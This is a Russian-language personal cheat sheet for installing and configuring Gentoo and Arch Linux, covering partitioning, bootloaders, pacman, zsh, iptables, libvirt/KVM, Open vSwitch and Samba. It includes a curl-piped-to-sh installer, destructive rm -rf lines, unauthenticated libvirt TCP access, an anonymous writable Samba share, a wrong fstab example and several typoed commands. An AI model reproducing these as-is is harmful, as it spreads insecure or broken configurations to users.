ip route add default via 192.168.1.1
Настройка сети dhcp:
dhcp eth0
dhcpcd -HD eth0

Настройка DNS:
ping ya.ru
vim /etc/resolv.conf

Посмотреть текущий ip:
ip a

Смена пароля тукущего пользователя:
!!! Если требования к паролю кажутся очень завышенными, то редактируем файл /etc/security/passwdqc.conf
!!! min=1,1,1,1,1
!!! useradd -m -G wheel,audio,video <имя пользователя>
!!! passwd <имя пользователя>
passwd

Запуск sshd на livecd:
rc-service sshd start

!!! Теперь мы можем подключится по ssh и продолжить установку.

1.Рекомендованная разметка диска UEFI+GPT:

Раздел	    Описание                                      Код для fdisk
/dev/vda1	Системный (и загрузочный) раздел EFI (ESP)    -> код 1
/dev/vda2	Раздел подкачки                               -> код 19
/dev/vda3	Корневой раздел                               -> код 20

Разметка диска:
fdisk /dev/vda
p - показать разметку
g - сделать gpt таблицу
d - удалить
n - создать раздел (enter enter +256M)
n - создать раздел (enter enter +2G)
n - создать раздел (enter enter enter)
t - установить тип раздела (1 1)
t - установить тип раздела (2 19)
t - (не требуется 20 по умолчанию для нового раздела ) установить тип раздела (3 20)

Накатываем файловые системы и включаем swap
mkfs.vfat -F 32 /dev/vda1
mkfs.ext4 /dev/vda3
mkswap /dev/vda2
swapon /dev/vda2

2. Подготовка к установке stage3

Создаем директорию:
mkdir /mnt/gentoo
Монтируем:
mount /dev/vda3 /mnt/gentoo

Переходим в каталог  /mnt/gentoo:
cd /mnt/gentoo

Скачиваем stage3:
!!! Выбор правильного базового архива для системы впоследствии может сэкономить значительное количество времени, затраченное на установку.
!!! Рекомендуется выбрать multilab \ systemd
wget https://bouncer.gentoo.org/fetch/root/all/releases/amd64/autobuilds/20220612T170541Z/stage3-amd64-desktop-systemd-20220612T170541Z.tar.xz

Распаковываем только что скаченный архив stage3:
!!! Убедитесь, что указаны те же самые параметры (xpf и --xattrs-include='*.*').
!!! x указывает на извлечение (extract)
!!! p для сохранения (preserve) прав доступа и f для обозначения, что мы хотим извлечь файл (file)
!!! а не стандартный ввод. --xattrs-include='*.*' позволит также сохранить расширенные атрибуты во всех пространствах имен хранящиеся в архиве
!!! --numeric-owner используется для того, чтобы убедиться что идентификаторы пользователей и групп распаковываемых файлов останутся такими же
!!! как и задумывались командой Gentoo по подготовке релизов (даже если предприимчивые пользователи не используют официальный установочный носитель Gentoo)

tar xpvf stage3-*.tar.xz --xattrs-include='*.*' --numeric-owner


Настройка параметров компиляции:
!!! какой редактор выбрать решать вам, но в процессе установки у меня пропадал vim
!!! везде в руководстве используют nano -w
nano -w /mnt/gentoo/etc/portage/make.conf
vim  /mnt/gentoo/etc/portage/make.conf

Значения по умолчанию для (/mnt/gentoo/etc/portage/make.conf):
# Флаги компилятора, используемые для всех языков
COMMON_FLAGS="-march=native -O2 -pipe"
# Используйте те же настройки для обеих переменных
CFLAGS="${COMMON_FLAGS}"
CXXFLAGS="${COMMON_FLAGS}"
# Использование большого количества процессов может значительно повлиять на потребление памяти.
# Хорошая рекомендация — имейте не менее 2 Гб свободной оперативной памяти на каждый #поток (так, например, для -j6 потребуется не менее 12 ГиБ).
# Чтобы избежать нехватки памяти, уменьшите количество процессов
MAKEOPTS="-j2"

Необязательно: Выбор зеркала
mirrorselect -i -o >> /mnt/gentoo/etc/portage/make.conf
mkdir --parents /mnt/gentoo/etc/portage/repos.conf
cp /mnt/gentoo/usr/share/portage/config/repos.conf /mnt/gentoo/etc/portage/repos.conf/gentoo.conf

3. Копирование DNS:


cp --dereference /etc/resolv.conf /mnt/gentoo/etc/

4. Монтирование разделов

Монтирование необходимых файловых систем для продолжения установки:
!!! /proc/ — псевдофайловая система (она выглядит как обычные файлы, но на самом деле генерируется на лету), через которую ядро Linux предоставляет информацию для окружения
!!! /sys/ — псевдофайловая система, как и /proc/, которую она однажды заменит, также она более структурирована, чем /proc/
!!! /dev/ — это обычная файловая система, частично управляемая менеджером устройств Linux (обычно udev), которая содержит все файлы устройств
!!! /run/ — временная файловая система, используется для генерации файлов на лету used, таких как PID файлы или файлы блокировки
!!! Параметр --make-rslave необходим для дальнейшей поддержки systemd в ходе установки.
mount --types proc /proc /mnt/gentoo/proc
mount --rbind /sys /mnt/gentoo/sys
mount --make-rslave /mnt/gentoo/sys
mount --rbind /dev /mnt/gentoo/dev
mount --make-rslave /mnt/gentoo/dev
mount --bind /run /mnt/gentoo/run
mount --make-slave /mnt/gentoo/run

Переход в новое окружение:
!!! Выполнить последовательно по одной
chroot /mnt/gentoo /bin/bash
source /etc/profile
export PS1="(chroot) ${PS1}"

5. Установка и обновление portage

Настройка Portage:
!!! emerge-webrsync - для загрузки снимка используется только протоколы HTTP/HTTPS,а также когда необходимо снизить нагрузку канал сети
emerge-webrsync

Необязательно: Обновление репозитория ebuild-файлов Gentoo
emerge --sync
emerge --sync --quiet

Чтение новостей:
eselect news list
eselect news read
man news.eselect

Выбор подходящего профиля:
eselect profile list
eselect profile set 2

Обновление набора @world:
emerge --ask --verbose --update --deep --newuse @world

Необязательно: Настройка переменной USE:
!!! Полное описание всех доступных USE-флагов можно найти в файле /var/db/repos/gentoo/profiles/use.desc.
less /var/db/repos/gentoo/profiles/use.desc
Простой способ проверить какие настройки используются для USE:
emerge --info | grep ^USE - собственно не будем ничего мудрить вывод этой команды нам пригодится для сборки нашей системы


Необязательно: Добавим флаги USE:
!!! Можно обойтись без них, так как у каждого приложения свои флаги уже выставлены
!!! Если USE-флаг определён в /etc/portage/make.conf, он будет добавлен (или удалён, если перед USE-флагом написан знак -) в список по умолчанию.
!!! USE флаги могут быть удалены добавлением знака - перед флагом. Например, чтобы выключить поддержку для графических окружений X, нужно задать -X
nano -w /etc/portage/make.conf
------------------------------
USE="X kde bash-completion curl apache2 djvu doc gui gzip handbook man mmap lzma lz4 lzo mysql networkmanager pdf perl php plasma python rdp ssl systemd"
------------------------------


Настройка переменной ACCEPT_LICENSE
vim /etc/portage/make.conf
--------------------------
ACCEPT_LICENSE="*"
--------------------------

Установка vim:
emerge --ask app-editors/vim

6. Язык / время / locale

 ntpd -q -g

Временная зона:
echo "Europe/Moscow" > /etc/timezone
emerge --config sys-libs/timezone-data
ln -sf ../usr/share/zoneinfo/Europe/Moscow /etc/localtime

Настройка локалей:
nano -w /etc/locale.gen
-----------------------
en_US ISO-8859-1
en_US.UTF-8 UTF-8
ru_RU.UTF-8 UTF-8
-----------------------
Генерируем локали:
locale-gen

Выбор локали:
!!! Это всё ещё можно сделать вручную с помощью файла /etc/env.d/02locale (для Systemd с помощью файла /etc/locale.conf)
eselect locale list
eselect locale set 8

Заново перезагружаем окружение:
env-update && source /etc/profile && export PS1="(chroot) ${PS1}"

7. kernel, ручная сборка ядра:

Настройка ядра Linux:
emerge --ask sys-kernel/linux-firmware
emerge --ask sys-kernel/gentoo-sources
eselect kernel list
eselect kernel set 1
!!! Гайд https://wiki.gentoo.org/wiki/Handbook:AMD64/Installation/Kernel/ru
!!! virtio https://wiki.gentoo.org/wiki/QEMU/Linux_guest
cd /usr/src/linux
#make defconfig
#make kvm_guest.config
make menuconfig
make && make modules_install
make install
!!! Необязательно: Сборка initramfs
!!! emerge --ask sys-kernel/dracut
!!! dracut --kver=4.9.16-gentoo

8. Настройка системы:


монтирование дисков в fstab
!!! blkid - получаем UUID дисков, правильно будет монтировать диски по UUID
Вносим наши точки монтирования:
vim /etc/fstab
------------------
/dev/vda3   /            vfat    defaults,noatime     0 1
/dev/vda1   /boot        ext2    defaults,noatime     0 2
/dev/vda2   none         swap    sw                   0 0
------------------
Проверяем:
mount -a


Информация об узле и домене:
nano -w /etc/conf.d/hostname
----------------------------
hostname="tux"
----------------------------

hostnamectl hostname tux

Сеть dhcp:
emerge --ask net-misc/dhcpcd
systemctl enable --now dhcpcd

Сеть статика:
emerge --ask --noreplace net-misc/netifrc
vim /etc/conf.d/net
-------------------
#config_eth0="dhcp"
config_eth0="192.168.0.2 netmask 255.255.255.0 brd 192.168.0.255"
routes_eth0="default via 192.168.0.1"
-------------------



Файл hosts:
vim /etc/hosts
--------------
# Это обязательные настройки для текущей системы
127.0.0.1     tux.homenetwork tux localhost

# Дополнительные настройки для других систем в сети
192.168.0.5   jenny.homenetwork jenny
192.168.0.6   benny.homenetwork benny
--------------




Опционально: поддержка PCMCIA-устройств:
emerge --ask sys-apps/pcmciautils



Пароль суперпользователя:
Изменить пароль суперпользователя (с именем root) можно с помощью команды passwd.
passwd


Инициализация и конфигурация загрузки:
Рекомендуется запустить systemd-firstboot --prompt --setup-machine-id, чтобы убедиться, что система корректно настроена, но нужные шаги можно также запускаться отдельно.
systemd-firstboot --prompt --setup-machine-id


Системный журнал:
emerge --ask app-admin/sysklogd
Необязательно: планировщик задач Cron:
emerge --ask sys-process/cronie
Необязательно: Индексирование файлов:
emerge --ask sys-apps/mlocate
Утилиты для файловых систем:
emerge --ask sys-fs/e2fsprogs
emerge --ask sys-fs/dosfstools
Необязательно: Установка утилит для беспроводной сети
emerge --ask net-wireless/iw net-wireless/wpa_supplicant
Необязательно: Установка клиента PPPoE
emerge --ask net-dialup/ppp


9. Настройка начального загрузчика:


!!! https://wiki.gentoo.org/wiki/Handbook:AMD64/Installation/Bootloader/ru
!!! https://wiki.gentoo.org/wiki/GRUB2_Quick_Start/ru#.D0.A0.D1.83.D1.87.D0.BD.D0.B0.D1.8F_.D0.BD.D0.B0.D1.81.D1.82.D1.80.D0.BE.D0.B9.D0.BA.D0.B0
!!! По умолчанию используется GRUB2.
!!! Обратите внимание что установка загрузчика MBR и UEFI отличается.
!!! Для UEFI убедитесь что раздел /boot примонтирован (ls /boot - есть файлы)
emerge --ask --verbose sys-boot/grub
Установка загрузчика grub2 UEFI
!!! grub-install --target=x86_64-efi --efi-directory=/boot --removable
grub-install --target=x86_64-efi --efi-directory=/boot

Если рядом не будет других систем полезно добавить в grub
vim /etc/default/grub
-------------------------
GRUB_DISABLE_OS_PROBER=false
-------------------------

Генерируем меню загрузки:
grub-mkconfig -o /boot/grub/grub.cfg

9.1 Пример Установки загрузчика UEFI and GPT:

echo 'GRUB_PLATFORMS="efi-64"' >> /etc/portage/make.conf
emerge --ask sys-boot/grub
grub-install --target=x86_64-efi --efi-directory=/boot --removable
grub-mkconfig -o /boot/grub/grub.cfg

Если требуется пересобрать grub (добавили платформу в potage) то используйте:
emerge --ask --update --newuse --verbose sys-boot/grub

9.2 Альтернатива grub efibootmgr

!!! https://wiki.gentoo.org/wiki/Efibootmgr
0. Сносим загрузчик:
cd /boot/
rm -rf * 
1. Собираем ядро
cd /usr/src/linux
make && make modules_install
make install

2. устанавливаем загрузчик
emerge --ask sys-boot/efibootmgr
mkdir -p /boot/efi/boot
cp /boot/vmlinuz-* /boot/efi/boot/bootx64.efi
efibootmgr -v - выводим доступные варианты загрузки
efibootmgr --create --disk /dev/vda --part 2 --label "Gentoo" --loader "\efi\boot\bootx64.efi"
#efibootmgr -c -d /dev/vda -p 2 -L "Gentoo" -l "\efi\boot\bootx64.efi" initrd='\initramfs-genkernel-amd64-4.9.16-gentoo'

P.S.
efibootmgr -b 2 -B  - удаление не правильной записи

9.3 Альтернатива grub Syslinux

!!! https://wiki.gentoo.org/wiki/Syslinux

emerge --ask sys-boot/syslinux

MBR:
dd bs=440 conv=notrunc count=1 if=/usr/share/syslinux/mbr.bin of=/dev/vda

GPT:
dd bs=440 conv=notrunc count=1 if=/usr/share/syslinux/gptmbr.bin of=/dev/vda


syslinux --install /dev/vda1

mkdir -p /boot/efi/EFI/syslinux

cd /usr/share/syslinux/efi64
cp syslinux.efi ldlinux.e64 menu.c32 libcom32.c32 libutil.c32 /boot/efi/EFI/syslinux

10. Завершение установки:


exit
cd
umount -l /mnt/gentoo/dev{/shm,/pts,}
umount -R /mnt/gentoo
reboot


11. Приложения:


!!! https://wiki.gentoo.org/wiki/Handbook:AMD64/Working/USE/ru
!!! https://wiki.gentoo.org/wiki/Handbook:AMD64/Working/Portage/ru#.D0.9A.D0.BE.D0.B3.D0.B4.D0.B0_Portage_.D0.BD.D0.B0_.D1.87.D1.82.D0.BE-.D1.82.D0.BE_.D1.80.D1.83.D0.B3.D0.B0.D0.B5.D1.82.D1.81.D1.8F
!!! https://www.funtoo.org/Emerge/ru
Работа с пакетами:
emerge <пакет> - установка пакета
emerge --unmerge <пакет> - удаление пакета
emerge -avuDN @world - обновление
emerge --sync - синхронизация с репозиторием
layman -a <оверлей> - добавление оверлея
layman -d <оверлей> - удаление оверлея
layman -L - список оверлеев
Оверлеи - сторонние репозитории, что-то похожее на AUR.

emerge layman
Для их установки layman.

И самое важное - что делать если portage жалуется на что-то.
Для начала, не паникуйте и внимательно прочтите вывод программы.
Постарайтесь просто понять, что не так, при необходимости воспользуйтесь переводчиком.

Поиск пакета:
emerge -s firefox
emerge --search firefox

Удаление пакетов:
emerge -C firefox
emerge --unmerge firefox
emerge -aC firefox
emerge -a --depclean

Обновление пакетов:
emerge -uDN @world
emerge -uavDN @world

Создание swap файла на лету с добавлением в fstab:

fallocate -l 1G /.swap
chmod 600 /.swap
mkswap /.swap
echo '/.swap none swap defaults 0 0' >> /etc/fstab
swapon /.swap
Рубрики
archlinux Конспект

Конспект: Archlinux / arch / pacman / keyring / archinstall / kde / ovs / libvirt / kvm

Ссылки:

https://archlinux.org/

https://archlinux.org/download/ - образы ISO

https://wiki.archlinux.org/title/KVM
https://wiki.archlinux.org/title/Libvirt
https://wiki.archlinux.org/title/Open_vSwitch

https://wiki.archlinux.org/title/systemd-networkd
https://wiki.archlinux.org/title/systemd-networkd_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)

https://habr.com/ru/company/selectel/blog/313150/
https://habr.com/ru/company/ruvds/blog/309010/

https://www.balena.io/etcher/

https://archlinux.org/news/gnupg-21-and-the-pacman-keyring/

https://www.youtube.com/watch?v=OJEVBEJsKEQ&list=PLc0sjwKqKpx-EBd0rPcW01-ekFufAnL39&ab_channel=esturiano - видосики по арчу


https://wiki.archlinux.org/title/installation_guide - гайд установки
https://wiki.archlinux.org/title/installation_guide_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)

https://habr.com/ru/articles/836400/

Скрипт для установки archlinux

archinstall

iwd / iwctl / wi-fi

!!! https://wiki.archlinux.org/title/Iwd
iwctl
   device list - показать устройства
   station wlan0 scan - сканировать сеть
   station wlan0 get-networks - показать отсканированные сети 
   station wlan0 connect SSID_name - подключится к сети SSID_name

pacman — установка софта

pacman -Syu - обновления списка пакетов и установка обновлений
pacman -Ss name_packeg - поиск пакета 
pacman -Sy name_packeg - установка пакета
pacman -Scc - очистка кэша пакетов

sudo pacman -Syu
sudo pacman -Sy telegram-desktop

sudo pacman -Sy --needed git base-devel zsh htop mc hunspell hunspell-ru hunspell-en_us hunspell-en_gb telegram-desktop docker docker-compose libreoffice-fresh libreoffice-fresh-ru gwenview spectacle peek neofetch ark unzip unrar noto-fonts-emoji element-desktop partitionmanager filelight ntfs-3g adobe-source-han-sans-otc-fonts networkmanager-l2tp strongswan networkmanager-openvpn cups print-manager dnsutils whois wine gnupg keychain bluez bluez-utils net-tools traceroute kgpg inetutils

sudo pacman -Sy --needed linssid qalculate-gtk remmina freerdp gtk-vnc pycharm-community-edition gnome-keyring libsecret libgnome-keyring qbittorrent okular
sudo pacman -Sy --needed chromium
sudo pacman -Sy --needed  bash-completion

sudo pacman -Ss bash
sudo pacman -Ss libvirt
sudo pacman -Ss kvm
sudo pacman -Sy libvirt virt-install
sudo pacman -Si libvirt
sudo pacman -Ss 
sudo pacman -Ss kvm
sudo pacman -Si virt-manager
sudo pacman -Sy virt-manager
sudo pacman -Sy man

sudo pacman -Ss openvswitch
sudo pacman -Sy openvswitch

yay

sudo pacman -Sy --needed git base-devil 
git clone https://aur.archlinux.org/yay.git
cd yay/
makepkg -si

zsh

0. Установка оболочки zsh:
yay -S zsh --noconfirm 

1. Установка скрипта oh-my-zsh:
curl -L https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh | sh 

2. Делаем zsh по умолчанию:
chsh -s /usr/bin/zsh

3. Первый запуск оболочки zsh
zsh

4. Конфиг .zshrc  
Строка ZSH_THEME отвечает за темы

5. Установка пакета подсветки синтаксиса оболочки zsh
git clone https://github.com/zsh-users/zsh-syntax-highlighting
mv zsh-syntax-highlighting .zsh-syntax-highlighting
echo "source ~/.zsh-syntax-highlighting/zsh-syntax-highlighting.zsh" >> ~/.zshrc  

6. Установка пакета дополняющего команду по мере её ввода на основе истории
$ git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions

7. Плагины 
Внесение изменений в файл конфигурации .zshrc
nano .zshrc
1) В файле раскомментировать строку под номером 2
2) Дописать в строку файла .zshrc, изначально выглядящую так: plugins =(git), чтобы она стала выглядеть так:
plugins =(git zsh-autosuggestions sudo)

Обновить конфигурацию оболочки (делать каждый раз, когда правим файл .zshrc)
source .zshrc

цвет консоли и репы

vim /etc/pacman.conf 
--------------------
[multilib]
Include = /etc/pacman.d/mirrorlist

# Misc options
#UseSyslog
Color
#NoProgressBar
CheckSpace
#VerbosePkgLists
#ParallelDownloads = 5
--------------------

консоль в стиле quake

pacman -S yakuake

locale — русский язык

0. редактируем "/etc/locale.gen"
vim /etc/locale.gen
-------------------
ru_RU.UTF-8 UTF-8
-------------------

1. генерируем locale
localectl set-locale ru_RU.UTF-8
#localectl set-x11-keymap --no-convert us,ru pc105 "" grp:alt_shift_toggle
#locale-gen - а можно так сгенерировать локаль

2. раскладка языка
vim /etc/vconsole.conf
----------------------
KEYMAP=ru
----------------------

3. Язык системы:
echo "LANG=en_US.UTF-8" > /etc/locale.conf

4. Установка часового пояса
ln -sf /usr/share/zoneinfo/Europe/Moscow /etc/localtime

5. Синхронизация аппаратных часов
hwclock --systohc --utc

iptables + route

0. редактируем
vim /etc/systemd/system/sex-sec.service
---------------------------------------
[Unit]
Description= add iptables route 
After=network.target

[Service]
Type=simple
TimeoutStartSec=10
ExecStart=/etc/iptables/sex_sec.sh

[Install]
WantedBy=multi-user.target
---------------------------------------

1. Включаем демон 
systemctl daemon-reload 
systemctl status sex-sec.service 
systemctl --failed 

2. Редактируем
vim /etc/iptables/sex_sec.sh
----------------------------
#!/bin/bash
iptables-restore /etc/iptables/iptable.4
ip6tables-restore /etc/iptables/iptable.6
sleep 10
ip route add 192.168.55.0/24 via 192.168.16.55
----------------------------

/etc/iptables/iptable.4


*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -s 192.168.16.126/24 -m state --state NEW -p tcp --dport 22 -j ACCEPT
#-A INPUT -s 10.0.3.6/32 -j ACCEPT -m comment --comment "backup"
#-A INPUT -s 10.1.2.1/32 -m state --state NEW -p tcp --dport 10050 -j ACCEPT
# ICMP
-A INPUT -p icmp -m icmp --icmp-type 8 -m limit --limit 100/sec -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 3 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 4 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 11 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 12 -j ACCEPT
COMMIT

/etc/iptables/iptable.6

*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p ipv6-icmp -j ACCEPT
COMMIT

qemu + kvm

0. установка
pacman -Sy qemu
pacman -Sy fuse2 gnutls libpciaccess libssh libxml2 numactl parted polkit yajl dmidecode virt-viewer libvirt-python perl-sys-virt libvirt-python libvirt-glib libguestfs

systemctl enable libvirtd.service 
usermod -aG libvirt ey
usermod -aG libvirt-qemu ey

systemctl start libvirtd.service virtlogd.service
systemctl enable libvirtd.service virtlogd.service

1. Редактируем

vim /etc/libvirt/libvirt.conf 
-----------------------------
uri_default = "qemu:///system"
listen_tls = 0
listen_tcp = 1
auth_tcp="none"
-----------------------------

ovs

pacman -Sy  openvswitch 
pacman -Sy dnsmasq
(ovs-vswitchd.serviceтакже запустит ovsdb-server.service)
systemct enable ovs-vswitchd.service
systemct start ovs-vswitchd.service

!!! можно собрать default
0. Редактируем файл
cd /root
vim  ovsbr0.xml
---------------
<network>
  <name>default</name>
  <forward mode='bridge'/>
  <bridge name='ovsbr0'/>
  <virtualport type='openvswitch'/>
</network>
---------------

1. Добавляем пулы сети
virsh net-destroy default
irsh net-undefine default 
virsh net-create --file /root/ovsbr0.xml
virsh net-autostart default
virsh net-start default

2. Пересоздаем пулы для хранилища
virsh pool-destroy --pool default
virsh pool-define-as --type dir --target /kvm/images --name images
virsh pool-define-as --type dir --target /kvm/iso --name iso
virsh pool-autostart --pool images iso
virsh pool-autostart --pool images
virsh pool-autostart --pool iso
virsh pool-autostart --disable --pool default 

ping bash

#!/bin/bash
ping -s 1 -c 4 IP_a
remmina

systemd network

vim /etc/systemd/network/20-wired.network
-----------------------------------------
[Match]
Name=enp1s0

[Network]
DHCP=yes
-----------------------------------------

vim /etc/systemd/network/20-wired.network
-----------------------------------------
[Match]
Name=enp1s0

[Network]
Address=10.1.10.9/24
Gateway=10.1.10.1
DNS=10.1.10.1
-----------------------------------------

systemd network ovsbr0

ls /etc/systemd/network/
-----------------------
30_enp2s0.network
40_ovsbr0.network         
-----------------------
      
cat > /etc/systemd/network/30_enp2s0.network << "EOF"
[Match]
Name=enp2s0
EOF

cat > /etc/systemd/network/40_ovsbr0.network << "EOF"
[Match]
Name=ovsbr0
[Network]
LinkLocalAddressing=ipv4
DHCP=ipv4
#DHCP=yes
EOF


update keyring

https://wiki.archlinux.org/title/Pacman/Package_signing

pacman -Sy archlinux-keyring

GnuPG-2.1 and the pacman keyring

pacman -Syu haveged
systemctl start haveged
systemctl enable haveged

rm -fr /etc/pacman.d/gnupg
pacman-key --init
pacman-key --populate archlinux

Шрифты:

https://habr.com/ru/post/77122/
pacman -Sy ttf-droid


General — Droid Sans 10;
Fixed Width — Droid Sans Mono 10;
Small — Droid Sans 8;
Toolbar — Droid Sans 8 (Bold);
Menu — Droid Sans 10;
Window Title — Droid Sans 10 (Bold);
Taskbar — Droid Sans 10;
Desktop — Droid Sans 10.

Не работает переключение ALT+Shift:


перед этим еще убедится что в выводе команды localctl  есть строка alt_shift_toggle

если не то выполнить
localectl --no-convert set-x11-keymap us,ru "" ""  grp:alt_shift_toggle

Для применения изменений потребуется ребут или перезапуск display-manager
!!! Внимание все окна закроет :)
#systemctl restart display-manager

Восстановление загрузки

https://bbs.archlinux.org/viewtopic.php?id=82056

1. Boot from liveCD/usbimage
2. Set up your network if needed later
3. Prepare your Chroot:

# mkdir /mnt/arch                        #optional, you may also just use /mnt/
# mount /dev/sdax /mnt/arch              #substitute sdax with your root partition
# mount /dev/sday /mnt/arch/boot         #only needed if you have a seperate partition sday for /boot
# mount -t proc proc /mnt/arch/proc      #mount system folders
# mount -t sysfs sys /mnt/arch/sys
# mount -o bind /dev /mnt/arch/dev
4. Chroot into your Install

chroot /mnt/arch/
After that, you may downgrade/upgrade/split your screen with an axe, as you like.
To just rebuild the initramfs, type:

mkinitcpio -v -k  -g /boot/kernel26.img

P.S.
Так как установка mkinitcpio приведет к генерации initramfs и ядра.
Вам может повезти банально установив mkinitcpio и у вас восстановится загрузка arch. 
Достаточно после установки chroot выполнить команду установки mkinitcpio.
pacman -Syu mkinitcpio 

zerotier

pacman -Sy zerotier-one
zerotier-cli info
systemctl start zerotier-cli
systemctl start zerotier-one.service 
systemctl enable zerotier-one.service 
zerotier-cli join YOU_ID_NET


ноут / планшет

yay iio-sensor-prox - сенсор для поворота экрана
pacman -Sy onboard - экранная клава


#!/bin/bash
xrandr -o inverted
#xrandr -o normal
#xrandr -o left
#xrandr -o right
#xrandr --rotate "$xrandr_rotation"



Вариант два:
apt purge arandr
apt install raindrop
wlr-randr --output HDMI-A-1 --transform normal
wlr-randr --output HDMI-A-1 --transform 90
wlr-randr --output HDMI-A-1 --transform 180
wlr-randr --output HDMI-A-1 --transform 270

Тестовая samba с пользователем guest

#https://wiki.archlinux.org/title/Samba

Примечание: 
Пользователь и группа nobody изначально существуют в системе, используются как гостевой аккаунт (guest account) 
по умолчанию и могут быть использованы в ресурсах для общего доступа с опцией guest ok = yes, 
благодаря чему пользователям не понадобится логиниться для доступа к таким ресурсам.

0. Добавляем пользователя:
useradd guest -s /bin/nologin

1. Создаем каталог:
mkdir /home/samba

2. Создаем конфиг
!!! Создание общего ресурса для анонимных пользователей
cat > /etc/samba/smb.conf << "EOF"
[global]
security = user
map to guest = bad user
guest account = guest

[guest]
    comment = guest
    path = /home/samba
    public = yes
    only guest = yes
    writable = yes
    printable = no

EOF


3. Добавить автозапуск для smb 
systemctl enable smb.service
systemct start smb.service
systemctl restart smb.service

Жизнь без archinstall, ставим arch руками:

0. Раскладка и шрифты:
Посмотреть список доступных раскладок можно с помощью команды:
localectl list-keymaps

Установка раскладки клавиатуры и шрифта:
loadkeys ru

Используйте Ctrl+Shift для переключения между английской и русской раскладками.

Консольные шрифты расположены в каталоге /usr/share/kbd/consolefonts/
Для загрузки шрифта стандартного размера с русскими буквами:
setfont cyr-sun16
Для экрана HiDPI можно выбрать один из самых больших доступных шрифтов с русскими буквами:
setfont ter-c32b


1. Проверка режима загрузки
Проверьте разрядность UEFI:
cat /sys/firmware/efi/fw_platform_size
Если команда выведет 64, то система загружена в режиме UEFI и имеет 64-битный x64 UEFI. 
Если команда выведет 32, то система загружена в режиме UEFI и имеет 32-битный IA32 UEFI — такой вариант тоже поддерживается, 
но в качестве загрузчика получится использовать только systemd-boot. 
Если же такого файла не существует, возможно, система загружена в режиме BIOS (или CSM). 
Если система загрузилась не в том режиме, который вам нужен (UEFI или BIOS), обратитесь к руководству пользователя вашей материнской платы.

2. Проверить соединение с интернетом:
DHCP: установка динамического IP-адреса и адреса DNS-сервера (при помощи systemd-networkd и systemd-resolved) 
должна срабатывать автоматически для проводных и беспроводных сетевых интерфейсов.

Провод ethernet:
ip link
ping 8.8.8.8
ping ya.ru

# если кто-то удалил /etc/resolv.conf
# для debian11-12 может пригодится для восстановления systemd-resolved
#  ln -s /run/systemd/resolve/stub-resolv.conf /etc/resolv.conf

Wi-Fi: 
Используйте iwctl подключитесь к беспроводной сети 

Мобильный широкополосный модем: 
Используй mmcli

3. Синхронизация системных часов
# можно вот так вот включить синхронизацию времени
# timedatectl set-ntp true - включение синхронизации времени

В live-окружении по умолчанию включен systemd-timesyncd, который выполнит синхронизацию времени автоматически после подключения интернета.
Чтобы удостовериться, что время задано правильно:
timedatectl
timedatectl set-timezone Europe/Moscow - установить временную зону Europe/Moscow

4. Разметка дисков:
!!! ВНИМАНИЕ, форматирование и разметка уничтожит ваши данные
Проверяем доступные диски:
fdisk -l

4.1 Производим разметку используя fdisk (или можем использовать cfdisk из пункта 4.2:
!!! Не забываем поменять разметку на GPT и сменить тип раздела на EFI для раздела /boot 
fdisk /dev/диск_для_разметки
Примеры схем:

UEFI с GPT
/boot - Системный раздел EFI - Минимум 300 МиБ. При установке нескольких ядер лучше 1 ГиБ или более.
[SWAP] - Linux swap - предпочитаю создавать в виде файла уже в корневом разделе Более 512 МиБ
/ - Корневой раздел - минимум 10Гб
BIOS с MBR
/ - Корневой раздел - минимум 10Гб
[SWAP] - Linux swap - предпочитаю создавать в виде файла уже в корневом разделе Более 512 МиБ


4.2 Использования cfdisk вместо fdisk
cfdisk /dev/sdX
Выберите GPT, удалите все существующие разделы и создайте следующие:
EFI: 300+ MB
SWAP: количество оперативной памяти (например, 4 GB)
Корневая папка: 20-30 GB (оптимально 60 GB при наличии места)
Домашняя папка: оставшееся пространство
После создания разделов нажмите WRITE, подтвердите изменения и выйдите с помощью QUIT.


Форматирование разделов:
Чтобы отформатировать /dev/корневой_раздел в файловую систему Ext4, выполните следующую команду:
mkfs.ext4 /dev/корневой_раздел
Если вы создали раздел для подкачки (swap), инициализируйте его с помощью утилиты mkswap(8):
mkswap /dev/раздел_подкачки
Для создания EFI выполните:
mkfs.fat -F 32 /dev/системный_раздел_efi

Пример:
mkfs.fat -F32 /dev/sda1 # EFI
mkswap /dev/sda2 # SWAP
mkfs.ext4 /dev/sda3 # Корневая папка
mkfs.ext4 /dev/sda4 # Домашняя папка (если создана)


5. Монтирование разделов:
Монтирование разделов
mount /dev/корневой_раздел /mnt
mount --mkdir /dev/системный_раздел_efi /mnt/boot
#swapon /dev/раздел_подкачки - на данном этапе я своп делать не буду (выполню после arch-chroot)


6. Выбор зеркал
Пакеты для установки будут скачиваться с серверов-зеркал, прописанных в файле /etc/pacman.d/mirrorlist. 
В установочном образе используется reflector, который после подключения к сети обновит список зеркал (выбрав 20 наиболее актуальных HTTPS-зеркал) 
и отсортирует их по скорости загрузки.
Чем выше зеркало расположено в списке, тем больший приоритет оно имеет при скачивании пакета. 
Вы можете проверить этот файл и, при необходимости, отредактировать его вручную, переместив наверх наиболее географически близкие зеркала.
При этом также учитывайте и другие критерии.
Позже pacstrap скопирует этот файл в новую систему, так что это действительно стоит сделать.

vim /etc/pacman.d/mirrorlist

Примечание: 
Никакие программы или настройки (кроме файла /etc/pacman.d/mirrorlist) из live-окружения в устанавливаемую систему не переносятся.

7. Установка основных пакетов
pacstrap -K /mnt base linux linux-firmware vim grub efibootmgr sudo man qemu-guest-agent
#pacstrap -K /mnt base linux linux-firmware - прям минимальная установка


8. Создаем своп в виде файла на 1G:
